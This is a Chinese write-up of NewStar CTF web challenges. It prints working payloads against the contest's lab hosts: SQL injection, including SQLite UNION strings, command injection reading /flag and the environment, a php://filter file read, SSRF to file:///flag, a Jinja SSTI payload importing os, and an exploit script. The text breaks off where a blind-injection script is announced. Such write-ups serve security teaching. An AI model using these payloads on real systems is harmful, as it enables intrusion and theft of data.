NewStar CTF Web 比赛题目解析与解题思路
NewStar CTF 竞赛中的 Web 类题目解法,涵盖 Week1 至 Week3 的多个挑战。涉及目录扫描、SQL 注入(含 SQLite)、文件上传绕过、SSTI、SSRF、Git 泄露及逻辑漏洞等常见 Web 安全考点。通过代码审计、流量分析、Payload 构造等方式获取 Flag,提供了详细的解题步骤与脚本示例。

NewStar CTF 竞赛中的 Web 类题目解法,涵盖 Week1 至 Week3 的多个挑战。涉及目录扫描、SQL 注入(含 SQLite)、文件上传绕过、SSTI、SSRF、Git 泄露及逻辑漏洞等常见 Web 安全考点。通过代码审计、流量分析、Payload 构造等方式获取 Flag,提供了详细的解题步骤与脚本示例。

什么叫机器人控制了我的头?
【难度:简单】
dirsearch 扫目录:
找到 /robots.txt,访问:
访问 hidden.php:
翻译提示,f12 打开捕获流量包,发现 flag:
flag{eb4580e7-21e4-4446-9dba-4fb51d9cf051}
题目内容:
我当然知道 1=1 了!?
【难度:简单】
经典登录框,经典提示,万能密码 admin' or 1=1 #:
flag{26cbccab-3a76-46f9-a770-7e8cb0b10d96}
题目内容:
所有光线都逃不出去…但我知道这不会难倒你的
(本题下发后,请通过 http 访问相应的 ip 和 port,例如 nc ip port,改为 http://ip:port/)
【难度:简单】
访问题目:
发现只是一个页面,习惯性使用 f12,发现打不开,Ctrl+u 也不行,最后使用 ctrl+shift+I 打开,发现:
访问 s3kret.php:
<?php highlight_file(__FILE__);include"flag.php";if(isset($_POST['newstar2025'])){$answer=$_POST['newstar2025'];if(intval($answer)!=47&&intval($answer,0)==47){echo$flag;}else{echo"你还未参透奥秘";}}
审计后发现,要求 POST 输入 newstar2025 的值满足:
intval($answer)(默认按十进制或通过 (int) 强制转换)不是 47,且 intval($answer, 0)(第二个参数为 0 时让 PHP 自动根据字符串前缀判断进制)等于 47。输入 0x2F 即可满足:
flag{c0c8fc92-fd89-42e6-aa83-2b14c3e22bcf}
题目内容:
NewStar 的赛场上,小 W 被传送到了一个到处都是虫子的王国,在这里寻觅许久之后,他发现只有学会剑技(HTTP 协议)才能够离开这里。
【难度:中等】
第一个挑战:
抓包发现:
修改 count 字段为 1000000:
这里需要截取包然后修改发送,才能正常跳转:
第二关:
看不懂,看提示:
原来是需要 get 传参 shipin,参数值为 mogubaozi:
能看懂了,这里 post 要传入的应该是前文提到过的 guding:
这里需要使用 DELETE 方法传入 chongzi,截取改包:
成功:
访问 /Level2_END,第三关:
与 HTTP 协议有关:
根据提示,修改 ua 头:
还需要升级版本。
访问 /Level4_Sly:
flag{9fef7934-2c71-4225-813d-849df714c8fa}
题目内容:
小小 web 还不是简简单单?什么?你拿不下来?那我得好好控制控制你了哈
【难度:中等】
审计 js 代码:
// 检查保护层状态
functioncheckShieldStatus(){const shield = document.getElementById('shieldOverlay');const button = document.getElementById('accessButton');if(!shield){ button.classList.add('active'); button.disabled =false;}else{ button.classList.remove('active'); button.disabled =true;}}
checkShieldStatus();setInterval(checkShieldStatus,500); document.getElementById('accessButton').addEventListener('click',function(){if(!document.getElementById('shieldOverlay')){ document.getElementById('nextLevelForm').submit();}}); document.addEventListener('contextmenu',function(e){ e.preventDefault();});(function(){ document.addEventListener('keydown',function(e){// F12
if(e.keyCode ===123){ e.preventDefault();showDevToolsWarning();}// Ctrl+Shift+I (Windows/Linux)
if(e.ctrlKey && e.shiftKey && e.keyCode ===73){ e.preventDefault();showDevToolsWarning();}// Ctrl+Shift+J (Windows/Linux)
if(e.ctrlKey && e.shiftKey && e.keyCode ===74){ e.preventDefault();showDevToolsWarning();}// Cmd+Option+I (Mac)
if(e.metaKey && e.altKey && e.keyCode ===73){ e.preventDefault();showDevToolsWarning();}// Cmd+Option+J (Mac)
if(e.metaKey && e.altKey && e.keyCode ===74){ e.preventDefault();showDevToolsWarning();}// Ctrl+U (查看源代码)
if(e.ctrlKey && e.keyCode ===85){ e.preventDefault();showDevToolsWarning();}});
let devtools =false;
const threshold =160;
functioncheckDevTools(){const widthThreshold = window.outerWidth - window.innerWidth > threshold;const heightThreshold = window.outerHeight - window.innerHeight > threshold;const orientation = widthThreshold ?'vertical':'horizontal';if(!(heightThreshold && widthThreshold)&&((window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized)|| widthThreshold || heightThreshold)){ devtools =true;showDevToolsWarning();}else{ devtools =false;}}
setInterval(checkDevTools,1000);
functionshowDevToolsWarning(){const warning = document.getElementById('devToolsWarning'); warning.style.display ='flex'; document.addEventListener('keydown',functioncloseWarning(e){if(e.key ==='Escape'){ warning.style.display ='none'; document.removeEventListener('keydown', closeWarning);}});}
if(typeof console !=="undefined"){if(typeof console.log !=='undefined'){ console.log=function(){};}
if(typeof console.warn !=='undefined'){ console.warn=function(){};}
if(typeof console.error !=='undefined'){ console.error=function(){};}
if(typeof console.info !=='undefined'){ console.info=function(){};}}})();
为了绕过 JS 限制,我们在浏览器 Console 里运行:
document.getElementById('nextLevelForm').submit();
这会绕过所有按钮/遮罩限制,直接提交表单
成功绕过,来到下一关,这一关提示弱口令,尝试了几个弱口令成功登入:admin/111111
<?phperror_reporting(0);functiongenerate_dynamic_flag($secret){returngetenv("ICQ_FLAG")?:'default_flag';}
if(isset($_GET['newstar'])){$input=$_GET['newstar'];if(is_array($input)){die("恭喜掌握新姿势");}
if(preg_match('/[^\d*\/~()\s]/',$input)){die("老套路了,行不行啊");}
if(preg_match('/^[\d\s]+$/',$input)){die("请输入有效的表达式");}$test=0;try{ @eval("\$test = $input;");}catch(Error$e){die("表达式错误");}
if($test==2025){$flag=generate_dynamic_flag($flag_secret);echo"<div>拿下 flag!</div>";echo"<div><div>FLAG: {$flag}</div></div>";}else{echo"<div>大哥哥泥把数字算错了:$test ≠ 2025</div>";}}else{?><?php }?>
审计 php 代码:
0-9, *, /, ~, (, ), 空白。(由 preg_match('/[^탒*/~()�]/', $input) 限定)/^[탒�]+$/ 会拒绝),所以必须包含至少一个运算符(*、/、~、())。@eval("\$test = $input;"),判断 $test == 2025。ICQ_FLAG(否则返回 default_flag)。因为 45 * 45 = 2025,且 * 属于允许字符,所以 payload 为:newstar=45*45
GET 传参即可:
flag{c6582a80-afdd-4ef9-8088-a15455bc30cf}
题目内容:
不是哥们,说白了你有啥实力啊,
过关不是简简单单
【难度:简单】
前端记分:
const game = document.getElementById("game");const player = document.getElementById("player");const scoreEl = document.getElementById("score");const levelEl = document.getElementById("level");let score =0;let steps =0;let maxSteps =10;// 每关掉落数量
let targetScores =[30,1000000];// 每关目标分数
let currentLevel =0;// 0 表示第一关
let gameEnded =false;
let finishSpawned =false;
let playerX =180;
let gateInterval =null;
document.addEventListener("keydown",(e)=>{
if(e.key ==="ArrowLeft")movePlayer(-100);
if(e.key ==="ArrowRight")movePlayer(100);
});
functionmovePlayer(offset){
let newX = playerX + offset;
if(newX <0|| newX >340)return;
playerX = newX;
player.style.left = playerX +"px";
}
functionspawnGate(){
if(steps >= maxSteps || gameEnded || finishSpawned)return;
steps++;
const gate = document.createElement("div");
gate.className ="gate";
let x = Math.random()<0.5?60:260;
gate.style.left = x +"px";
let isAdd = Math.random()<0.5;
if(isAdd){ gate.dataset.value =10; gate.style.backgroundImage ="url('2.jpg')";}
else{ gate.dataset.value =-10; gate.style.backgroundImage ="url('1.jpg')";}
game.appendChild(gate);
let y =0;
const fall =setInterval(()=>{
y +=5;
gate.style.top = y +"px";
const playerRect = player.getBoundingClientRect();
const gateRect = gate.getBoundingClientRect();
if(!(playerRect.right < gateRect.left || playerRect.left > gateRect.right || playerRect.bottom < gateRect.top || playerRect.top > gateRect.bottom)){
score +=parseInt(gate.dataset.value);
scoreEl.innerText ="分数:"+ score;
clearInterval(fall);
gate.remove();
if(steps >= maxSteps &&!finishSpawned)spawnFinishLine();
}
if(y >600){clearInterval(fall); gate.remove();if(steps >= maxSteps &&!finishSpawned)spawnFinishLine();}},50);
}
functionspawnFinishLine(){
finishSpawned =true;
const finish = document.createElement("div");
finish.className ="finish-line";
finish.style.left ="0px";
game.appendChild(finish);
let y =0;
const fall =setInterval(()=>{
y +=5;
finish.style.top = y +"px";
const playerRect = player.getBoundingClientRect();
const finishRect = finish.getBoundingClientRect();
if(!(playerRect.right < finishRect.left || playerRect.left > finishRect.right || playerRect.bottom < finishRect.top || playerRect.top > finishRect.bottom)){
clearInterval(fall); finish.remove();endLevel();
}
if(y >600){clearInterval(fall); finish.remove();endLevel();}},50);
}
functionendLevel(){
if(gameEnded)return;
clearInterval(gateInterval); gateInterval =null;
if(score >= targetScores[currentLevel]){
alert(`恭喜通过第 ${currentLevel +1} 关!得分:${score}`);
currentLevel++;
if(currentLevel < targetScores.length){
// 下一关
resetLevel(currentLevel);
startGame();
}else{// 全部通关
gameEnded =true;
const formData =newURLSearchParams();
formData.append("score", score);
fetch("/flag.php",{
method:"POST",
headers:{"Content-Type":"application/x-www-form-urlencoded"},
body: formData.toString()
}).then(res=> res.text()).then(data=>{
alert("服务器返回:\n"+ data);
}).catch(err=>{
alert("请求失败:"+ err);
});
}
}else{
alert(`第 ${currentLevel +1} 关未达成目标分数 (目标:${targetScores[currentLevel]}),将重新开始本关!`);
resetLevel(currentLevel);
startGame();
}
}
functionresetLevel(levelIndex){
score =0;
scoreEl.innerText ="分数:"+ score;
steps =0;
finishSpawned =false;
levelEl.innerText ="关卡:"+(levelIndex +1);
[...game.querySelectorAll('.gate, .finish-line')].forEach(e=> e.remove());
}
functionstartGame(){
gateInterval =setInterval(spawnGate,1500);
}
startGame();
document.addEventListener("visibilitychange",()=>{
if(document.hidden){
if(gateInterval){clearInterval(gateInterval); gateInterval =null;}
}else{
if(!gameEnded &&!gateInterval){ gateInterval =setInterval(spawnGate,1500);}
});
审计 js 代码发现,可以在控制台直接作弊:
score =1000000;// 直接满足目标分数
endLevel();// 触发关卡结束逻辑
flag{8a6f2ab9-9b7e-4274-90bf-efbe94277b14}
题目内容:
D 师傅在服务器上部署了一个加速器,并且提供一个页面来 ping 游戏服务器…
【难度:简单】
ping 的命令执行,使用 ; 拼接:
127.0.0.1; ls
127.0.0.1; cat /flag
瞅瞅环境变量:127.0.0.1; env
flag{9cacf6f4-5cc9-4cef-99a8-97c51b2953be}
题目内容:
Doro 把自己最心爱的橘子放在了保险冰箱中,为了一探究竟这橘子有多稀奇,你决定打开这个保险装置,但是遇到一些棘手的问题…
【难度:简单】
开局一个登录框,尝试弱口令无果,ctrl+u 查看源代码,发现提示:
<!-- 唔...这个密码有点难记,但是我已经记好了 Doro/Doro_nJlPVs_@123 -->
根据提示,抓包查看后端逻辑:
根据验证流程写 exp:
#!/usr/bin/env python3# coding: utf-8import requests import re import time import sys BASE ="https://eci-2ze6zyo0m8laq9swg77e.cloudeci1.ichunqiu.com:5000"# 登录表单(你提供的)LOGIN_PATH ="/login"START_PATH ="/start_challenge"VERIFY_PATH ="/verify_token"USERNAME ="Doro"PASSWORD ="Doro_nJlPVs_%40123"# 注意:这是示例,生产环境请妥善保管凭据deflogin(session: requests.Session)->bool:url = BASE + LOGIN_PATHsession.headers.update({"Origin": BASE,"Referer": BASE +"/login","Content-Type":"application/x-www-form-urlencoded","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7","Sec-Fetch-Site":"same-origin","Sec-Fetch-Mode":"navigate","Sec-Fetch-User":"?1","Sec-Fetch-Dest":"document",})data =f"username={USERNAME}&password={PASSWORD}"resp = session.post(url, data=data, allow_redirects=False)print("[login] status:", resp.status_code)print("[login] headers:", resp.headers)if"Set-Cookie"in resp.headers and"session="in resp.headers["Set-Cookie"]and"Expires=Thu, 01 Jan 1970"notin resp.headers["Set-Cookie"]:print("[login] 登录成功 ->", resp.headers["Set-Cookie"])returnTrueprint("[login] 登录失败,响应内容:", resp.text[:300])returnFalsedeffetch_challenge(session: requests.Session):url = BASE + START_PATHresp = session.post(url)print("[start_challenge] status:", resp.status_code)try:data = resp.json()
except Exception as e:print("[start_challenge] 无法解析为 JSON:", e)print("Response body:", resp.text[:500])returnNonereturn data defparse_and_compute_token(data:dict):
# 优先使用单独字段(如果存在)
if"multiplier"in data or"xor_value"in data:
try:multiplier =int(data.get("multiplier"))if data.get("multiplier")isnotNoneelseNone
except Exception: multiplier =None
xor_raw = data.get("xor_value")
xor_value =None
if xor_raw isnotNone:
try:
ifisinstance(xor_raw,str)and xor_raw.lower().startswith("0x"): xor_value =int(xor_raw,16)
else: xor_value =int(xor_raw)
except: xor_value =None
# 如果 expression 字段存在且包含 time.time() 的指示,优先使用实时 time expr = data.get("expression","")
if"time.time"in expr or"int(time.time"in expr: tsource =int(time.time())
else:# 没有 time.time 的话,尝试从 expression 中提取第一个数字(作为左侧时间戳)
m =None
if expr: m = re.search(r'\(\s*(\d+)\s*\*\s*\d+\s*\)', expr)
if m: tsource =int(m.group(1))
else:# 如果没有 expression 且没有明确时间源,使用当前时间(较保险)tsource =int(time.time())
if multiplier isNone:# 若 multiplier 字段不存在,尝试从 expression 中提取 expr = data.get("expression","")
m2 = re.search(r'\*\s*(\d+)\s*\)', expr)
if m2: multiplier =int(m2.group(1))
if multiplier isNoneor xor_value isNone:raise ValueError("无法从响应中解析 multiplier 或 xor_value。data: {}".format(data))
token =(tsource * multiplier)^ xor_value
return token,{"tsource": tsource,"multiplier": multiplier,"xor_value": xor_value,"method":"fields_or_expr"}
# 如果没有单独字段,尝试从 expression 字段解析
expr = data.get("expression")
ifnot expr:raise ValueError("响应既没有 'expression',也没有 'multiplier' / 'xor_value' 字段。data: {}".format(data))
# 判断 expression 是否包含 int(time.time())
if"time.time"in expr: tsource =int(time.time())
else:# 尝试提取表达式中的左侧数字(形如 (1759715000 * 53475) )
m_time = re.search(r'\(\s*(\d+)\s*\*\s*\d+\s*\)', expr)
if m_time: tsource =int(m_time.group(1))
else:# 兜底使用当前时间 tsource =int(time.time())
# 提取 multiplier
m_mul = re.search(r'\*\s*(\d+)\s*\)', expr)
ifnot m_mul:raise ValueError("无法从 expression 提取 multiplier。expr: {}".format(expr))
multiplier =int(m_mul.group(1))
# 提取 xor 值(支持 0xHEX 或 十进制)
m_xor = re.search(r'\^\s*(0x[0-9a-fA-F]+|\d+)', expr)
ifnot m_xor:raise ValueError("无法从 expression 提取 xor_value。expr: {}".format(expr))
xor_raw = m_xor.group(1)
xor_value =int(xor_raw,16)if xor_raw.lower().startswith("0x")elseint(xor_raw)
token =(tsource * multiplier)^ xor_value
return token,{"tsource": tsource,"multiplier": multiplier,"xor_value": xor_value,"method":"expr"}
defsubmit_token(session: requests.Session, token):url = BASE + VERIFY_PATHpayload ={"token": token}# 显式声明本次请求为 JSON,覆盖全局 Content-Typeresp = session.post(url, json=payload, headers={"Content-Type":"application/json"})print("[verify_token] status:", resp.status_code)try:print("[verify_token] json:", resp.json())
except Exception:print("[verify_token] text:", resp.text[:1000])
return resp defmain():s = requests.Session()
s.headers.update({"User-Agent":"auto-token-bot/1.0","Accept":"*/*",})ok = login(s)
ifnot ok:print("登录失败,停止。请检查用户名/密码或网络。")
return
data = fetch_challenge(s)
if data isNone:print("无法获取挑战数据,停止。")
return
print("challenge data:", data)
try:token, info = parse_and_compute_token(data)
except Exception as e:print("解析/计算 token 失败:", e)
return
print("计算得到 token =", token,"(详情:", info,")")
# 立即提交
resp = submit_token(s, token)
if __name__ =="__main__": main()
flag{c596b46c-3c82-4416-9e70-538104015062}
题目内容:
小 K 为了成为最强的 NewStar,在阴差阳错之下来到了索拉里斯大陆,被风暴席卷的她飞到了黑海岸。在那里,泰提斯系统突然发难,漂泊者拜托小 K 解决难题。为了成为最强 NewStar,小 K 毅然接受了挑战!
【难度:困难】
文件上传漏洞,前端校验,抓包修改后缀名
通过 /v1/onload 接口获取上传路径
确定上传成功,但是不知道为何无法利用,没办法,只能上传执行 phpinfo() 试试:
成功解析:
复制为 html 文件:
flag{741a9681-2e6c-4486-b767-557e907c8863}
题目内容:
小 E 开发了一个服务器管理系统,能实时监测服务器状态并显示出来。为了防止系统被入侵,小 E 特地给其中的查询功能上了防火墙,但是即便如此,这个系统依然脆弱不堪,只因为使用了原始的 SQL 拼接——你能绕过小 E 的防火墙,拿到数据库里的秘密吗?
【难度:困难】
本题考查 sql 注入过滤与报错注入:
防火墙过滤了空格,单引号,幸运的是其为数字型的报错注入:
使用 %0a 绕过空格
发现没有 databases() 函数,猜测可能不是 mysql 数据库,经过探测,确定是 sqllite:
这里是因为查询列数与显示不一样,所以报错,接下来探测列数:
确定是 5 列,构造:
-1UNIONselect*FROM(SELECT0)AS A CROSSJOIN(SELECT2)AS B CROSSJOIN(SELECT2)AS C CROSSJOIN(SELECT3)AS D CROSSJOIN(SELECT4)AS E
替换空格:
-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE
查询数据库版本号:
-1UNIONselect*FROM(SELECT0)AS A CROSSJOIN(SELECT2)AS B CROSSJOIN(SELECT sqlite_version())AS C CROSSJOIN(SELECT3)AS D CROSSJOIN(SELECT4)AS E
-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(SELECT%0asqlite_version())%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE
查看表名和字段名:
sqlfrom sqlite_master
-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(SELECT%0asql%0afrom%0asqlite_master)%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE
发现有一个 sys_config 表,表内的字段为:id,config_key,config_value。
使用
select*from user_data
因为这里 , 被 ban 了,* 的话无法输出,只能挨个查询具体的值,最后使用:
-1UNIONselect*FROM(SELECT0)AS A CROSSJOIN(SELECT2)AS B CROSSJOIN(select config_value from sys_config)AS C CROSSJOIN(SELECT3)AS D CROSSJOIN(SELECT4)AS E # 编码后
-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(select%0aconfig_value%0afrom%0asys_config)%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE
flag{1148f076-61cb-457a-818f-d910ef21b142}
题目内容:
到了 week2 的签到题目???真的是签到吗?真的是签到吗?真的是签到吗?
【难度:签到】
访问拿到:
<?phphighlight_file(__FILE__);$cipher=$_POST['cipher']??'';functionatbash($text){$result='';foreach(str_split($text)as$char){if(ctype_alpha($char)){$is_upper=ctype_upper($char);$base=$is_upper?ord('A'):ord('a');$offset=ord(strtolower($char))-ord('a');$new_char=chr($base+(25-$offset));$result.=$new_char;}else{$result.=$char;}}return$result;}
if($cipher){$cipher=base64_decode($cipher);$encoded=atbash($cipher);$encoded=str_replace(' ','',$encoded);$encoded=str_rot13($encoded); @eval($encoded);exit;}
$question="真的是签到吗?";$answer="真的很签到诶!";$res=$question."<br>".$answer."<br>";
echo$res.$res.$res.$res.$res;?> 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶!
审计后发现,这是一个 webshell 解码执行的题目,经过 Base64 → Atbash → 去空格 → ROT13 的代码,服务器最终会执行 (eval) 解码后的内容,所以构造我们的 payload:
cat /flag
cipher (Base64 输入) ↓ base64_decode ↓ Atbash (字母翻转) ↓ 去掉空格 ↓ str_rot13 ↓ eval()
dW91dGlhKCJrbXRcMDQwL2hibWciKTs=
flag{8b3bf25f-b724-4f06-9197-ba25bd749249}
题目内容:
铁索连环!无懈可击…?
【难度:简单】
<?phpheader('Content-Type: text/html; charset=utf-8');functionfilter($file){$waf=array('/',':','php','base64','data','zip','rar','filter','flag');foreach($wafas$waf_word){if(stripos($file,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}returntrue;}
functionfilter_output($data){$waf=array('f');foreach($wafas$waf_word){if(stripos($data,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}while(true){$decoded=base64_decode($data,true);if($decoded===false||$decoded===$data){break;}$data=$decoded;}
foreach($wafas$waf_word){if(stripos($data,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}returntrue;}
if(isset($_GET['file'])){$file=$_GET['file'];if(filter($file)!==true){die();}$file=urldecode($file);$data=file_get_contents($file);if(filter_output($data)!==true){die();}echo$data;}
highlight_file(__FILE__);?>
审计发现,漏洞点在 file_get_contents,可以使用伪协议进行任意文件读取,但是 waf 限制了部分伪协议,并且要求读到的文件内容中不能带有 f 字样。
分析程序逻辑,首先读入 file 参数值:
if(isset($_GET['file'])){$file=$_GET['file'];if(filter($file)!==true){die();}$file=urldecode($file);$data=file_get_contents($file);if(filter_output($data)!==true){die();}echo$data;}
首先进入 filter 函数中:
functionfilter($file){$waf=array('/',':','php','base64','data','zip','rar','filter','flag');foreach($wafas$waf_word){if(stripos($file,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}returntrue;}
这里会不分大小写,匹配这些字符,如果匹配,程序退出,绕过这里,只需要 url 双重编码即可。
接下来经过一次 url 解码,执行 file_get_contents() 后,进入 filter_output()
functionfilter_output($data){$waf=array('f');foreach($wafas$waf_word){if(stripos($data,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}while(true){$decoded=base64_decode($data,true);if($decoded===false||$decoded===$data){break;}$data=$decoded;}
foreach($wafas$waf_word){if(stripos($data,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}returntrue;}
它会对读取文件的内容进行判断,匹配是否存在 f,也不区分大小写。然后,如果是被 base64 编码过的内容,就会循环解码,直到不能解码为止。
所以我们的思路很明确,利用 url 双重编码使用 php://filter 伪协议读取文件内容,然后对文件内容先进行 rot13 编码读取 flag.
payload:
php://filter/string.rot13/resource=/flag
https://eci-2zeblwpcf451usd1p6ji.cloudeci1.ichunqiu.com:80/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37
flag{8847b675-528e-4ee8-aab6-ff3a854b53bc}
题目内容:
mygo 的音乐好好听,要全部下下来,flag 也可以顺手(
【难度:简单】
访问题目,点了首歌,听起来不错,源码中发现异常:
原来是 ssrf,但是限制 http 协议,
扫描目录发现有 flag.php,但是直接访问是 403.
所以使用 ssrf 访问:
<?php$client_ip=$_SERVER['REMOTE_ADDR'];// 只允许本地访问
if($client_ip!=='127.0.0.1'&&$client_ip!=='::1'){header('HTTP/1.1 403 Forbidden');echo"你是外地人,我只要\"本地\"人";exit;}
highlight_file(__FILE__);if(isset($_GET['soyorin'])){$url=$_GET['soyorin'];echo"flag 在根目录";// 普通请求
$ch=curl_init($url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,false);// 直接输出给浏览器
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);
curl_setopt($ch,CURLOPT_BUFFERSIZE,8192);
curl_exec($ch);
curl_close($ch);
exit;}
?>
审计一下,发现可以利用前面可转发的 ssrf 来绕过本地访问,剩下的伪协议直接出:
https://eci-2ze30n5xe2nckmepbw6d.cloudeci1.ichunqiu.com:80/index.php?proxy=http://127.0.0.1/flag.php?soyorin=file:///flag
flag{a8fe31b5-aad7-4dc1-9bda-3e21daff103f}
题目内容:
小 E 最近在秘密研发一个代号为'Project X'的系统。然而,小 E 在开发和部署过程中,习惯性地留下了许多'不经意'的痕迹——无论是临时的备份,还是版本管理上的小疏忽,甚至是 Mac 系统自动生成的文件,都可能成为你解开'Project X'秘密的关键…
【难度:简单】
静态页面,没啥好看的,直接开扫:
发现存在系统备份文件,访问下载:
可以直接访问 public,进入到登录页面,已经提醒无法爆破,只能另寻他法。
进入到 public 目录下,发现存在 .git 文件夹,想到可能是考的 git 泄露。
git log
查看提交记录:
使用
git show --name-only commit
看到删除的提示:
git show -p
查看删除的文件内容:
好像没有,返回来审计 login.php,发现
<?phprequire_once'user.php';$userData=getUserData();if($_SERVER['REQUEST_METHOD']==='POST'){$username=$_POST['username']??'';$password=$_POST['password']??'';if($username===$userData['username']&&$password===$userData['password']){header('Location: /secret-xxxxxxxxxxxxxxxxxxx');exit();}else{echo'登录失败,在 git 里找找吧';exit();}}
账号密码都在 user.php 中,所以需要从 git 中恢复 user.php。
在 .git/logs/HEAD 文件中发现其中隐含一个测试的 brach,会被删除。
查看这个提交:
git ls-tree -r --name-only 353b98f7c2fe77a5a426bf73576f5113820c4669
使用 git show commit -b 查看文件内容
用户名密码为:admin/f75cc3eb-21e0-4713-9c30-998a8edb13de
进入之后提示 mac,所以是 .DS_Store 文件泄露,直接在当前路径拼接下载并查看内容:
拼接中间的 ffffllllaaaagggg114514,拿到 flag
flag{e08813e1-a595-464c-85c5-67b474f83601}
题目内容:
小 M 是一名安全爱好者,他为自己搭建了一个个人文件上传服务。他声称:'我的服务器只允许上传合法且安全的文件,其他任何类型的文件都会被无情地拒绝!'
然而,真的是这样吗?请设法找出他系统中的应用配置缺陷,突破上传限制。
【难度:中等】
文件上传,并且支持上传的类型为:
后端进行类型及文件内容的校验,所以只能看允许的文件内有没有可以解析的,先绕过内容检测:
<?phpinfo();?>
对 <?php 有过滤,将允许的文件后缀挨个改包然后访问查看响应结果,发现 .webp 可以被解析
flag{fd8af3ec-7983-4724-ad82-e3f84149346f}
题目内容:
写代码的时候调试忘记删了!?算了不管了!S 属性大爆发!快来和我一起 SSTI 吧!
【难度:中等】
from flask import Flask, jsonify, request, render_template_string, render_template import sys, random func_List = ["get_close_matches","dedent","fmean","listdir","search","randint","load","sum","findall","mean","choice"] need_List = random.sample(func_List,5) need_List =dict.fromkeys(need_List,0) BoleanFlag =False RealFlag =__import__("os").environ.get("ICQ_FLAG","flag{test_flag}")# 清除 ICQ_FLAG__import__("os").environ["ICQ_FLAG"]=""
deftrace_calls(frame, event, arg):if event =='call': func_name = frame.f_code.co_name # print(func_name)
if func_name in need_List: need_List[func_name]=1
ifall(need_List.values()):global BoleanFlag BoleanFlag =Truereturn trace_calls app = Flask(__name__)
@app.route('/', methods=["GET","POST"])
defindex(): submit = request.form.get('submit')if submit: sys.settrace(trace_calls)print(render_template_string(submit)) sys.settrace(None)
if BoleanFlag:return jsonify({"flag": RealFlag})
return jsonify({"status":"OK"})
return render_template_string('''<!DOCTYPE html> <html lang="zh-cn"> <head> <meta charset="UTF-8"> <title>首页</title> </head> <body> <h1>提交你的代码,让后端看看你的厉害!</h1> <form action="/" method="post"> <label for="submit">提交一下:</label> <input type="text" name="submit" required> <button type="submit">提交</button> </form> <div> <p> 尝试调用到这些函数! </p> {% for func in funcList %} <p>{{ func }}</p> {% endfor %} <div> <p> 你目前已经调用了 {{ called_funcs|length }} 个函数:</p> <ul> {% for func in called_funcs %} <li>{{ func }}</li> {% endfor %} </ul> </div> </body> <script> </script> </html> ''', funcList = need_List, called_funcs =[func for func, called in need_List.items()if called])
if __name__ =='__main__': app.run(host='0.0.0.0', port=5000, debug=False)
ai 一把梭:
{%set __imp =''.__class__.__mro__[1].__subclasses__()[IDX].__init__.__globals__['__builtins__']['__import__']%}{%set _os = __imp('os')%}{%set _re = __imp('re')%}{%set _difflib = __imp('difflib')%}{%set _textwrap = __imp('textwrap')%}{%set _statistics = __imp('statistics')%}{%set _random = __imp('random')%}{%set _json = __imp('json')%}{%set _io = __imp('io')%}{# 通过 io.StringIO 提供一个可读的 JSON 文件对象,以便触发 json.load 的函数名 "load" #}{%set _f = _io.StringIO('"x"')%}{# 下面依次调用目标函数(尽量覆盖 need_List 里可能的名字) #}{%set a = _difflib.get_close_matches('a',['a'])%}{%set b = _textwrap.dedent(' x')%}{%set c = _statistics.fmean([1,2,3])%}{%set d = _os.listdir('.')%}{%set e = _re.search('a','a')%}{%set f = _random.randint(1,2)%}{%set g = _json.loads('"x"')%}{%set h = _json.load(_f)%}{%set i = _re.findall('.','a')%}{%set j = _statistics.mean([1,2])%}{%set k = _random.choice([1,2])%} Rendered.
flag{12c4c60d-6a52-4515-85a0-90052c4e6b2b}
题目内容:
小 K 在泰拉大陆上漫步的过程中,遇到了形形色色的人,她把这些人记录在了她的超维空间数据库中。但是突生变故让她丢失了终端的控制权,只留下了备用终端。可是这个终端只有一个检查用户状态的接口,只有获取到数据库中的神秘代码才能够重新夺回控制权。帮她夺回权限吧!
【难度:中等】
盲注,通过字典 fuzz 之后发现,可以使用 () 来绕过对空格的过滤,这里给出自动化的脚本。
exp:
